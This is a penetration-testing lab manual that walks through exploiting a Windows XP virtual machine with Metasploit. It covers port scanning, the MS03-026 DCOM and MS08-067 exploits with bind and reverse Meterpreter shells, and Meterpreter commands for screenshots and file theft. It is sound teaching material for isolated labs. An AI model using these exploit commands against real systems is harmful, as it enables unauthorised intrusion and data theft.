■ Penetration Testing Lab Manual

Exploiting Windows XP with Metasploit

■■ **Disclaimer:** This manual is for **educational and lab use only**. All activities must be performed in isolated virtual machines. Never attempt these techniques on real systems or networks.

■ Lab Setup

Host OS	Any (Windows/Linux/Mac)
Virtualization	VMware / VirtualBox
Attacker Machine	Kali Linux
Target Machine	Windows XP (SP1/SP2/SP3)
Network	Host-only or NAT (so VMs can talk to each other)

1■■ Starting Metasploit Framework

Run these commands in Kali Linux to start the database and Metasploit:

```
service postgresql start
service metasploit start
msfconsole
```

2■■ Scanning the Target (Port Scan)

Identify open ports on the Windows XP VM:

```
use auxiliary/scanner/portscan/tcp
show options
set RHOSTS <XP_IP>
set PORTS 1-600
run
```

If no ports are found, disable XP firewall and rescan. Common ports: **135, 139, 445**.

3■■ Exploiting Windows XP (DCOM Vulnerability)

After finding open ports, try the DCOM exploit:

```
back
```

```
search dcom
use exploit/windows/dcerpc/ms03_026_dcom
show options
set RHOST <XP_IP>
set PAYLOAD windows/shell_bind_tcp
run
```

■ If successful → You get a Windows **command shell** with administrator rights.

4■■ Exploit with MS08-067 (NetAPI + Meterpreter)

This is one of the most reliable XP exploits:

```
use exploit/windows/smb/ms08_067_netapi
set RHOST <XP_IP>
set LHOST <Kali_IP>
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
```

■ If successful → You get a **Meterpreter session**.

5■■ Meterpreter Basics

Useful commands inside a Meterpreter session:

- sysinfo → Get system info
- getuid → Show current user
- ps → List processes
- screenshot → Capture desktop image
- download <file> → Copy file from target
- upload <file> → Send file to target
- exit → Close session

■ Key Learnings

- Windows XP is insecure and permanently vulnerable
- Metasploit provides ready-to-use exploits for training
- Always use **isolated VMs** when testing
- XP is useful for fundamentals; real-world pentesting is on modern OS